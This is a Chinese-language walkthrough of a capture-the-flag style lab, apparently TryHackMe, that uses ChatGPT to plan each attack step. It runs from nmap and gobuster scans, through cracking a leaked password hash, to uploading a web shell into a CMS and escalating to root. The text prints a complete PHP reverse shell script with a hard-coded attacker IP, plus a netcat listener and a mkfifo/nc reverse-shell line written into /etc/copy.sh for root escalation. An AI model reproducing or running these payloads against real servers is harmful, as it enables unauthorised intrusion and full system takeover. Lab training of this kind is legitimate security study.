假设我只会一些基础的黑客知识，这时我们可以问 ChatGPT 渗透的第一步应该做什么。它告诉我们应该收集目标信息并通过执行网络扫描找到目标漏洞，还建议使用 nmap 。然后询问 ChatGPT 在 Linux 中 Nmap 扫描的用法。

这是目标的 IP ，尝试渗透。我修改了语法运行得更快！扫描结果： 22 ，80 打开，尝试访问 80 端口。80 上运行了Apache2 。

询问 ChatGPT  如何对web服务器进行渗透测试.它告诉我们使用gobuster扫描目录

/content  (Status: 301) [Size: 316] [--> http://10.10.117.255/content/

获取 CMS 版本。使用 GoBuster再次扫描content目录。发现了更多目录，发现 SQL 备份目录并找到 .SQL 文件，在SQL文件里找到了password hash然后询问 ChatGPT，我们应该如何利用这些password hash。按照它说去做。使用 CrackStation 平台破解password hash。https://crackstation.net/

用户名：manager  密码：Password123

在Ads section，可以添加一个脚本来获得反向连接 ,我提前准备了 Php 反向 shell 。询问ChatGPT ，php 反向 shell 脚本怎么使用 。

<?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]
  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.10.14.35';  // You have changed this
  $port = 4420;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;
  //
  // Daemonise ourself if possible to avoid zombies later
  //
  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }
    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }
  // Change to a safe directory
  chdir("/");
  // Remove any umask we inherited
  umask(0);
  //
  // Do the reverse shell...
  //
  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }
  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );
  $process = proc_open($shell, $descriptorspec, $pipes);
  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }
  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);
  printit("Successfully opened reverse shell to $ip:$port");
  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }
    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }
  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);
  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }
  ?>

修改后点击Done后，会在目录生成反弹php脚本 .如下所示。使用nc监听，获取反弹shell。

 nc -lvnp 9001

访问revshell.php，就会建立连接！进入主目获取 flag.txt将此复制粘贴到此处，这台机器将被视为被黑。接下来，我们需要进行权限提升并获取 root 。输入以下命令

python3 -c 'import pty;pty.spawn("/bin/bash")'

接下来，输入这个，再次将其更改为 tun0 IP。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.39.120 443 >//tmp/f" > /etc/copy.sh

最后，执行最后一个命令，将获得root权限

sudo perl /home/itguy/backup.pl

成功获取权限

这是第一篇简单介绍如何使用 ChatGPT 渗透测试的文章。在不久的将来，我会写更多关于 ChatGPT 的渗透文章。